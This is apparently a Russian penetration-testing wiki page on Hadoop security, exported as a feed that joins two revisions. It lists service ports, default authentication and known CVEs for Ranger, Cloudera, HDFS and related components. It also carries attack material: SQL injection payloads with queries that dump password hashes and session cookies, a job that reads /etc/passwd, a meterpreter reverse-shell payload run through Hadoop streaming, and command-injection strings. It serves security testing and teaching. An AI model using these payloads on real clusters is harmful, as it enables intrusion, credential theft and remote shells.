Порт(tcp): 8049&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.nodemanager.amrmproxy.address&lt;br /&gt;
&lt;br /&gt;
=== Router WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8089, 8091&lt;br /&gt;
&lt;br /&gt;
Протокол: http(8089), https(8091)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.router.webapp.address, yarn.router.webapp.https.address&lt;br /&gt;
&lt;br /&gt;
=== HttpFS (Hadoop HDFS over HTTP) ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 14000, 14001&lt;br /&gt;
&lt;br /&gt;
Протокол: http(14000), 14001(https)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
= Apache HBASE =&lt;br /&gt;
&lt;br /&gt;
= ZooKeeper =&lt;br /&gt;
&lt;br /&gt;
= Apache Ambari =&lt;br /&gt;
&lt;br /&gt;
Нужен для упрощения управления кластерами Hadoop, используя WebUI. Есть возможность интегрироваться с другими приложениями по REST API.&lt;br /&gt;
&lt;br /&gt;
Из интересного:&lt;br /&gt;
&lt;br /&gt;
- Все могут авторизоваться (даже стандартные юзеры)&lt;br /&gt;
&lt;br /&gt;
- Нет защиты (directory listing, no cookie flags, no CSRF)&lt;br /&gt;
&lt;br /&gt;
- CVE-2015-1775 - /logs/ логи&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Сервисы ==&lt;br /&gt;
&lt;br /&gt;
=== WebUI ===&lt;br /&gt;
&lt;br /&gt;
Общение по протоколу http (порт 8080) и https (порт 8440). &lt;br /&gt;
&lt;br /&gt;
=== Registration/Heartbeat ===&lt;br /&gt;
&lt;br /&gt;
Общение по протоколу https на порту 8441.&lt;br /&gt;
&lt;br /&gt;
=== Agent ===&lt;br /&gt;
&lt;br /&gt;
Порт 8670/tcp используется для Ping.&lt;br /&gt;
&lt;br /&gt;
= Apache Spark =&lt;br /&gt;
&lt;br /&gt;
= Apache Kafka/Storm =&lt;br /&gt;
&lt;br /&gt;
= Apache HIVE / DRILL =&lt;br /&gt;
&lt;br /&gt;
= Mahout =&lt;br /&gt;
&lt;br /&gt;
= Apache Solr / Lucene = &lt;br /&gt;
&lt;br /&gt;
= Apache Ranger =&lt;br /&gt;
&lt;br /&gt;
Компонент безопасности Hadoop с открытым исходным кодом.&lt;br /&gt;
&lt;br /&gt;
Из интересного:&lt;br /&gt;
&lt;br /&gt;
- Поддержка Kerberos&lt;br /&gt;
&lt;br /&gt;
- REST API&lt;br /&gt;
&lt;br /&gt;
- Журналы аудита&lt;br /&gt;
&lt;br /&gt;
- Модель разрешений на основе политики доступа (политики, юзеры, группы)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Интересные ИБ-проблемы:&lt;br /&gt;
&lt;br /&gt;
- Slow HTTP DOS&lt;br /&gt;
&lt;br /&gt;
- Все юзеры могут авторизоваться в Ranger (но не все - выполнять действия)&lt;br /&gt;
&lt;br /&gt;
- CVE-2015-0266 - Missing function level access control, можно использовать для повышения привилегий&lt;br /&gt;
&lt;br /&gt;
- CVE-2015-0265 - XSS в UserAgent&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
TODO: изучить как работает&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
https://ranger.apache.org/apidocs/index.html - API документация&lt;br /&gt;
&lt;br /&gt;
== Сервисы ==&lt;br /&gt;
&lt;br /&gt;
=== Admin  WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт: 6080, 6182&lt;br /&gt;
&lt;br /&gt;
Протокол: http(6180),https(6182)&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: ranger.service.http.port, ranger.service.https.port&lt;br /&gt;
&lt;br /&gt;
==== Уязвимости ====&lt;br /&gt;
&lt;br /&gt;
* Скачивание политик без аутентификации. Но нужно знать имя политики. (версия меньше или равна 0.5.2)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/service/plugins/policies/download/&amp;lt;policy_name&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Подробнее: https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Third-party%20modules%20vulnerabilities/Apache%20Ranger/Unauthenticated%20policy%20download&lt;br /&gt;
&lt;br /&gt;
* CVE-2016-2174 - SQL injection.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/service/plugins/policies/eventTime?eventTime=' or '1'='1&amp;amp;policyId=1&lt;br /&gt;
&lt;br /&gt;
# post-exploitation: скачать хеши паролей пользователей (md5 или sha512):&lt;br /&gt;
select last_name, first_name, email, login_id, password, user_role from x_portal_user, x_portal_user_role where x_portal_user.id = x_portal_user_role.user_id limit 3&lt;br /&gt;
&lt;br /&gt;
# post-exploitation: скачать сессии(куки) пользователей):&lt;br /&gt;
select auth_time, login_id, ext_sess_id from x_auth_sess where auth_status = 1 or (login_id like '%admin%' and auth_status = 1) order by auth_time desc limit 3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Подробнее: https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Third-party%20modules%20vulnerabilities/Apache%20Ranger/CVE-2016-2174%20-%20Authenticated%20SQL%20injection&lt;br /&gt;
&lt;br /&gt;
===  UNIX Auth Service ===&lt;br /&gt;
&lt;br /&gt;
Порт: 5151&lt;br /&gt;
&lt;br /&gt;
Протокол: SSL/TCP&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: ranger.usersync.port&lt;br /&gt;
&lt;br /&gt;
===  Ranger KMS ===&lt;br /&gt;
&lt;br /&gt;
Порт: 9292, 9293&lt;br /&gt;
&lt;br /&gt;
Протокол: http(9292), https(9293)&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: ranger.service.http.port, ranger.service.https.port&lt;br /&gt;
&lt;br /&gt;
=== Solr Audit ===&lt;br /&gt;
&lt;br /&gt;
Порт: 6083, 6183&lt;br /&gt;
&lt;br /&gt;
Протокол: http(6083), https(6183)&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: ranger-admin (???)&lt;br /&gt;
&lt;br /&gt;
= OOZIE =&lt;br /&gt;
&lt;br /&gt;
Серверная система планирования рабочих процессов для управления заданиями Hadoop. Рабочие процессы в Oozie определяются как набор потоков управления и узлов действий в ориентированном ациклическом графе.&lt;br /&gt;
&lt;br /&gt;
== Сервисы ==&lt;br /&gt;
&lt;br /&gt;
=== Web Console ===&lt;br /&gt;
&lt;br /&gt;
Порт: 11000, 11443&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP(11000), HTTPS(11443)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Admin service ==&lt;br /&gt;
&lt;br /&gt;
Порт: 11001&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
= PIG =&lt;br /&gt;
&lt;br /&gt;
= Apache Hue =&lt;br /&gt;
&lt;br /&gt;
Облачный редактор SQL с открытым исходным кодом. Упоминается тут тк часто используется вместе с Hadoop. Использует порт 8888 по протоколу HTTP. &lt;br /&gt;
&lt;br /&gt;
В старых версиях также присутствует DOM XSS, включена отладка, есть заголовок X-Frame-Options: ALLOWALL.&lt;br /&gt;
&lt;br /&gt;
= MapReduce =&lt;br /&gt;
&lt;br /&gt;
Модель распределённых вычислений от компании Google, используемая в технологиях Big Data для параллельных вычислений над очень большими (до нескольких петабайт) наборами данных в компьютерных кластерах, и фреймворк для вычисления распределенных задач на узлах (node) кластера&lt;br /&gt;
&lt;br /&gt;
== Сервисы ==&lt;br /&gt;
&lt;br /&gt;
=== Jobhistory ===&lt;br /&gt;
&lt;br /&gt;
Порт: 10020&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapreduce.jobhistory.address&lt;br /&gt;
&lt;br /&gt;
=== JobTracker ===&lt;br /&gt;
&lt;br /&gt;
Порт: 8021&lt;br /&gt;
&lt;br /&gt;
Протокол: IPC&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapred.job.tracker&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Доступно только в MapReduce v1&lt;br /&gt;
&lt;br /&gt;
=== JobTracker WebUI v1 ===&lt;br /&gt;
&lt;br /&gt;
Порт: 50030&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapred.job.tracker.http.address&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Доступно только в MapReduce v1&lt;br /&gt;
&lt;br /&gt;
=== Jobhistory WebUI v2 ===&lt;br /&gt;
&lt;br /&gt;
Порт: 19888, 19890&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP(19888), HTTPS(19890)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapreduce.jobhistory.webapp.address, mapreduce.jobhistory.webapp.https.address&lt;br /&gt;
&lt;br /&gt;
Доступен только в MapReduce v2&lt;br /&gt;
&lt;br /&gt;
=== Jobhistory Shufflee ===&lt;br /&gt;
&lt;br /&gt;
Порт: 13562&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapreduce.shuffle.port&lt;br /&gt;
&lt;br /&gt;
=== Jobhistory Shufflee WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт: 19890&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTPS&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapreduce.jobhistory.webapp.https.address&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== TaskTracker WebUI v1 ===&lt;br /&gt;
&lt;br /&gt;
Порт: 50060&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapred.task.tracker.http.address&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Доступно только в MapReduce v1&lt;br /&gt;
&lt;br /&gt;
=== History Server WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт: 51111&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapreduce.history.server.http.address&lt;br /&gt;
&lt;br /&gt;
= Cloudera =&lt;br /&gt;
&lt;br /&gt;
Экосистема Hadoop от компании Cloudera&lt;br /&gt;
&lt;br /&gt;
== Сервисы ==&lt;br /&gt;
&lt;br /&gt;
=== HUE ===&lt;br /&gt;
&lt;br /&gt;
Работает на порту 8888 по протоколу HTTP.&lt;br /&gt;
&lt;br /&gt;
==== Уязвимости ====&lt;br /&gt;
&lt;br /&gt;
* CVE-2016-4947 - вычисление пользователей из непривилегированного аккаунта (версия меньше или равна 3.9.0):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/desktop/api/users/autocomplete&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* CVE-2016-4946 - хранимая XSS (версия меньше или равна 3.9.0). Находится во вкладке Hue Users - Edit user в полях First name и Last name.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Open redirect (версия меньше или равна 3.9.0).&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/accounts/login/?next=//[domain_name]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Manager ===&lt;br /&gt;
&lt;br /&gt;
Работает на порту 7180(http) и 7183(https).&lt;br /&gt;
&lt;br /&gt;
==== Уязвимости ====&lt;br /&gt;
&lt;br /&gt;
* Получение списка пользователей (версия меньше или равна 5.5)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/api/v1/users&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Вычисление пользовательских сессий из непривилегированного аккаунта (CVE-2016-4950) (версия меньше или равна 5.5):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/api/v1/users/sessions&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Доступ к логам процесса(process_id можно перебрать) (версия меньше или равна 5.5):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/cmf/process/&amp;lt;process_id&amp;gt;/logs?filename={stderr,stdout}.log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* CVE-2016-4948 - Stored XSS  (версия меньше или равна 5.5)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* CVE-2016-4948 - Reflected XSS (версия меньше или равна 5.5):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/cmf/cloudera-director/redirect?classicWizard=[XSS]&amp;amp;clusterid=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Утилиты =&lt;br /&gt;
&lt;br /&gt;
== Hadoop Attack Library ==&lt;br /&gt;
&lt;br /&gt;
https://github.com/wavestone-cdt/hadoop-attack-library&lt;br /&gt;
&lt;br /&gt;
=== hadoopsnooper.py ===&lt;br /&gt;
https://github.com/wavestone-cdt/hadoop-attack-library/blob/master/Tools%20Techniques%20and%20Procedures/Getting%20the%20target%20environment%20configuration/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Скрипт для получения конфига hadoop&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
python hadoopsnooper.py 192.168.38.28 --nn hdfs://192.168.38.128:8020&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== hdfsbrowser.py ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Tools%20Techniques%20and%20Procedures/Browsing%20the%20HDFS%20datalake&lt;br /&gt;
&lt;br /&gt;
Скрипт для рааботы с WebHDFS. В скрипте также можно указать порт, протокол&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
python hdfsbrowser.py 10.10.10.10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Ссылки =&lt;br /&gt;
&lt;br /&gt;
== Видео ==&lt;br /&gt;
&lt;br /&gt;
== Статьи ==&lt;br /&gt;
&lt;br /&gt;
== Презентации ==&lt;br /&gt;
&lt;br /&gt;
https://2015.zeronights.org/assets/files/03-Kaluzny.pdf&lt;br /&gt;
&lt;br /&gt;
https://2016.zeronights.ru/wp-content/uploads/2016/12/Wavestone-ZeroNights-2016-Hadoop-safari-Hunting-for-vulnerabilities-v1.0.pdf&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Hadoop&amp;diff=1194</id>
		<title>Hadoop</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Hadoop&amp;diff=1194"/>
				<updated>2022-09-03T10:49:58Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: /* TaskTracker WebUI */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Общее =&lt;br /&gt;
&lt;br /&gt;
== Получение конфига ==&lt;br /&gt;
&lt;br /&gt;
Несколько вариантов получения конфига Hadoop. Он может потребоваться для работы с ним через CLI. Конфиг обычно в формате XML.&lt;br /&gt;
&lt;br /&gt;
=== Сервисы ===&lt;br /&gt;
&lt;br /&gt;
==== WebUI ====&lt;br /&gt;
&lt;br /&gt;
Для этого требуется перейти на один из следующих веб серверов на страницу /conf:&lt;br /&gt;
&lt;br /&gt;
* HDFS WebUI (много потов)&lt;br /&gt;
* JobHistory (19888, 19890) - в приоритете&lt;br /&gt;
* ResourceManager (8088, 8090)&lt;br /&gt;
. . .&lt;br /&gt;
&lt;br /&gt;
=== Уязвимости ===&lt;br /&gt;
&lt;br /&gt;
Иногда конфиг можно скачать используя уязвимости ПО. &lt;br /&gt;
&lt;br /&gt;
==== Cloudera Manager ====&lt;br /&gt;
&lt;br /&gt;
Конфиг будет доступен по следующему адресу:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
http://&amp;lt;cloudera_mgr_ip&amp;gt;:7180/cmf/services/&amp;lt;service_id_to_iterate&amp;gt;/client-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
service_id_to_iterate - можно получить перебором 0-100(или больше).&lt;br /&gt;
&lt;br /&gt;
=== Автоматически ===&lt;br /&gt;
&lt;br /&gt;
==== HadoopSnooper ====&lt;br /&gt;
&lt;br /&gt;
https://github.com/wavestone-cdt/hadoop-attack-library/blob/master/Tools%20Techniques%20and%20Procedures/Getting%20the%20target%20environment%20configuration/hadoopsnooper.py&lt;br /&gt;
&lt;br /&gt;
Позволяет скачать файлы конфига:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
python hadoopsnooper.py 192.168.38.28 --nn hdfs://192.168.38.128:8020&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Аутентификация ==&lt;br /&gt;
&lt;br /&gt;
По-умолчанию simple (то есть отключена, можно выдавать себя за любого). Можно переключить на kerberos. За это отвечает параметр в конфиге hadoop.security.authentication.&lt;br /&gt;
&lt;br /&gt;
== Шифрование ==&lt;br /&gt;
&lt;br /&gt;
По-умолчанию отключено для передачи (in-transit) и хранения (at-rest). &lt;br /&gt;
&lt;br /&gt;
=== NameNode ===&lt;br /&gt;
&lt;br /&gt;
Для общения с NameNode могут быть использованы следующие механизмы аутентификации:&lt;br /&gt;
&lt;br /&gt;
- GSS-API&lt;br /&gt;
&lt;br /&gt;
- Digest-MD5&lt;br /&gt;
&lt;br /&gt;
=== Web Apps ===&lt;br /&gt;
&lt;br /&gt;
Как правило, используется SSL/TLS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== DataNodes ===&lt;br /&gt;
&lt;br /&gt;
Шифрование может быть на 2 уровнях: &lt;br /&gt;
&lt;br /&gt;
1. обмен ключами используя 3DES или RC4&lt;br /&gt;
&lt;br /&gt;
2. Шифрование используя AES 128(default)/192/256.&lt;br /&gt;
&lt;br /&gt;
=== At-rest ===&lt;br /&gt;
&lt;br /&gt;
Означает хранилище файлов. Если кратко:&lt;br /&gt;
&lt;br /&gt;
* Данные шифруются DEK-ключем (Data Encryption Key)&lt;br /&gt;
&lt;br /&gt;
* DEK зашифрован ключем EZ (Encryption Zone) -&amp;gt; EDEK (Encrypted Data Encryption Key)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Обратный процесс:&lt;br /&gt;
&lt;br /&gt;
* EDEK запрашивается у NameNode&lt;br /&gt;
&lt;br /&gt;
* Запрашиваем KMS расшифровать EDEK - получаем DEK&lt;br /&gt;
&lt;br /&gt;
* Расшифровываем или зашифровываем данные с DEK.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важно! Чтобы запросить ключ у KMS, в случае использования Access Control List (ACL) нужны привилегии.&lt;br /&gt;
&lt;br /&gt;
== Поиск сервисов ==&lt;br /&gt;
&lt;br /&gt;
=== nmap ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
nmap -sV -Pn --open -v -p ПОРТЫ_ТУТ --scripts &amp;quot;*hadoop* or *hbase* or *flum*&amp;quot; АДРЕСА&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Общие атаки ==&lt;br /&gt;
&lt;br /&gt;
=== Node RCE ===&lt;br /&gt;
&lt;br /&gt;
Для этого требуется получить конфиг и настроить hadoop cli.&lt;br /&gt;
&lt;br /&gt;
path_to_hadoop_streaming.jar - файл, который развертывается на нодах. Обычно он уже есть в установленном hadoop-cli по адресу /share/hadoop/tools/lib/hadoop-streaming-2.7.3.jar&lt;br /&gt;
&lt;br /&gt;
Создаем задачу MapReduce:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
 hadoop jar &amp;lt;path_to_hadoop_streaming.jar&amp;gt; \&lt;br /&gt;
-input /non_empty_file_on_HDFS \&lt;br /&gt;
-output /output_directory_on_HDFS \&lt;br /&gt;
-mapper &amp;quot;/bin/cat /etc/passwd&amp;quot; \&lt;br /&gt;
-reducer NONE&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Читаем результат команды:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
hadoop fs –ls /output_directory_on_HDFS&lt;br /&gt;
hadoop fs –cat /output_directory_on_HDFS/part-00000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Также результат команды можно увидеть в WebUI в консоли созданной задачи.&lt;br /&gt;
&lt;br /&gt;
Из интересного: нельзя выбрать ноду, на которой запускается задача. Поэтому требуется запускать команду много раз, пока она не запустится на нужной.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Бонус: эксплоит можно сгенерировать с msfvenom:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.38.1 -f elf -o msf.payload&lt;br /&gt;
&lt;br /&gt;
hadoop jar &amp;lt;path_to_hadoop_streaming.jar&amp;gt;&lt;br /&gt;
-input /non_empty_file_on_HDFS \&lt;br /&gt;
-output /output_directory_on_HDFS \&lt;br /&gt;
-mapper &amp;quot;./msf.payload&amp;quot; \&lt;br /&gt;
-reducer NONE \&lt;br /&gt;
-file msf.payload \&lt;br /&gt;
-background&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== RCE - CVE-2016-5393 ===&lt;br /&gt;
&lt;br /&gt;
'''Уязвимая версия:''' Hadoop 2.6.x &amp;lt; 2.6.5 and 2.7.x &amp;lt; 2.7.3&lt;br /&gt;
&lt;br /&gt;
'''Требования:''' должен быть авторизован и у кластера должны быть включены параметры &amp;quot;org.apache.hadoop.security.ShellBasedUnixGroupsMapping&amp;quot; и &amp;quot;hadoop.security.group.mapping&amp;quot; (конфиг core-site.xml) &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cуть в том, что функция получения групп для пользователя не экранирует специальные символы и вставляет строку в &amp;quot;bash -c&amp;quot;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
hdfs groups '$(ping 127.0.0.1)'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Второй вариант - через WebHDFS. Но для этого требуется &amp;quot;Simple Auth&amp;quot;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
.../?user.name=$(ping+127.0.0.1)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее: https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Hadoop%20components%20vulnerabilities/Hadoop%20Common/CVE-2016-5393%20-%20Authenticated%20command%20execution%20as%20the%20hdfs%20user&lt;br /&gt;
&lt;br /&gt;
= HDFS =&lt;br /&gt;
&lt;br /&gt;
HDFS (Hadoop FileSystem) - это виртуальная файловая система Hadoop, доступная по сети.&lt;br /&gt;
&lt;br /&gt;
== Сервисы ==&lt;br /&gt;
&lt;br /&gt;
=== MasterNode (NameNode) WebUI ===&lt;br /&gt;
&lt;br /&gt;
Это веб-интерфейс, запущенный на портах 50070(http) и 50470(https). Обычно на нем отсутствует аутентификация, поэтому его можно использовать для доступа к файловой системе.&lt;br /&gt;
&lt;br /&gt;
Основная страница доступна по адресу /explorer.html, а при выборе даты перенаправляет на соответствующую DataNode (порт 50075).&lt;br /&gt;
&lt;br /&gt;
=== MasterNode Metadata Service ===&lt;br /&gt;
&lt;br /&gt;
Использует протокол IPC  на  портах 8020 и 9000. Требуется для взаимодействия с метадатой файлов HDFS.&lt;br /&gt;
&lt;br /&gt;
Команды для взаимодействия:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# Получение списка файлов (и их метадаты)&lt;br /&gt;
hadoop fs -ls /tmp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DataNode WebUI ===&lt;br /&gt;
&lt;br /&gt;
Веб-интерфейс для доступа к статусу, логам и тд. Запускается на 50075(http) и 50475(https) портах.&lt;br /&gt;
&lt;br /&gt;
Доступно по пути /browseDirectory.jsp&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== hdfsbrowser.py ====&lt;br /&gt;
Для взаимодействия с ним можно воспользоваться скриптом https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Tools%20Techniques%20and%20Procedures/Browsing%20the%20HDFS%20datalake :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# В скрипте также можно указать порт, протокол&lt;br /&gt;
python hdfsbrowser.py 10.10.10.10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
